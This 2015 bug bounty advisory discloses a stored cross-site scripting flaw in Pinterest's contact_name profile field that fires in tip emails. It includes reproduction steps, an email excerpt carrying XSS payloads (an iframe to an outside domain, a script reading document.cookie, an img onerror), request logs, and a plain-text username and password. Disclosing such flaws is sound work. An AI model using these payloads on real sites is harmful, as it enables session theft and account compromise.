Pinterest Bug Bounty 2015 - Persistent Vulnerability in Contact_Name (API)

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Pinterest Bug Bounty 2015 - Persistent Vulnerability in Contact_Name (API)

Today a new pinterest api vulnerability was discovered by the official vulnerability laboratory core team. The issue has medium severity and affects the communication layer of the pinterest network and online-service application.

The application-side validation and encoding vulnerability is located in the `contact_name` value of the User Profile > Kontaktperson input field. Remote attackers are able to inject on registration user emails or random mails with script code in the Kontaktperson input field (contact_name) of the user profile. Remote attackers can inject the code on registration and local attackers can use Kontoeinstellungen module. After the inject of malicious script code the service stores the account in the database management system. The service captures with the wrong encoding the user input and sends it in the pinterest tip to the saved or changed email. The execution of the injected script code occurs next to the introduction word context `Hallo`. The attack vector of the issue is located on the application-side of the online service and the request method to inject is POST. 

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] User Profile

Vulnerable Input(s):
[+] Kontaktperson

Vulnerable Function(s):
[+] contact_name

Affected Module(s):
[+] Pinterest Tips - Mail (community@pinterest.com & community@email.pinterest.com)

In the Proof of Concept section in the advisory document is a manual description how the issue can be reproduced with small interaction.

Manual steps to reproduce the security vulnerability ...
1. Open the pinterest website and register to the pinterest community web-application account
2. Include the following string to the name input fields    <script-code>@<script-code>.com
Note: Use Username: admin@evolution-sec.com Password: benjaminKM23
3. Save the settings to add the new account to the pinterest database
Note: Now, you need to wait even if the account is not confirmed the pinterest tips will arrive
4. The script code execution occurs in the pinterest tip mail next to the Hallo introduction word context
Note: The issue can be exploited by local and remote accounts. Remote attackers are able register with random mails without verification to
send the pinterest service pin tips with malicious context.
5. Successful reproduce of the security vulnerability!

PoC: Pin-Tipp: So erstellst du geheime Pinnwände (community@pinterest.com & community@email.pinterest.com)

</a>
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<td class="spacer mobile-h34" colspan="1" height="34" style="font-size:34px;line-height:34px;"> </td>
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<td class="education-text" align="left" style="padding:3px 50px 3px 50px;font-family:helvetica neue,helvetica,sans-serif;font-size:18px;line-height:18px;font-weight:bold;color:#454545;">
Hallo [PERSISTENT SCRIPT CODE EXECUTION!]>"<iframe src=http://www.evolution-sec.com/>@gmail.com >"<script>alert(document.cookie)</script><div style="1@gmail.com  "><img src="x" onerror=prompt(23);>,
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<td class="education-text" align="left" style="font-family:helvetica neue,helvetica,sans-serif;font-size:16px;color:#666666;line-height:24px;padding:0 50px 0px 50px;">
Pinnwände sind wie Ordner, in denen du deine Pins sammelst. Du kannst Pinnwände für alles Mögliche anlegen: z. B. Rezepte zum Ausprobieren, Reiseziele oder Deko- und Renovierungsideen.
Ruf einfach dein Profil auf und klick oder tipp auf "Pinnwand erstellen".
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Und so geht's
</a>
</td>
</tr>
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--- PoC Session Logs [POST] (Inject) ---
10:19:10.573[496ms][total 496ms] Status: 200[OK]
POST https://www.pinterest.com/resource/UserSettingsResource/update/

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updating profile
10:19:10.574[444ms][total 444ms] Status: 200[OK]
POST https://www.pinterest.com/resource/NotificationSettingsResource/update/

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successful updates profile
10:19:11.102[335ms][total 335ms] Status: 200[OK]
GET https://www.pinterest.com/settings

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Reference(s):
http://pinterest.com
http://community.pinterest.com
http://email.pinterest.com

 

Advisory:

http://www.vulnerability-lab.com/get_content.php?id=1431

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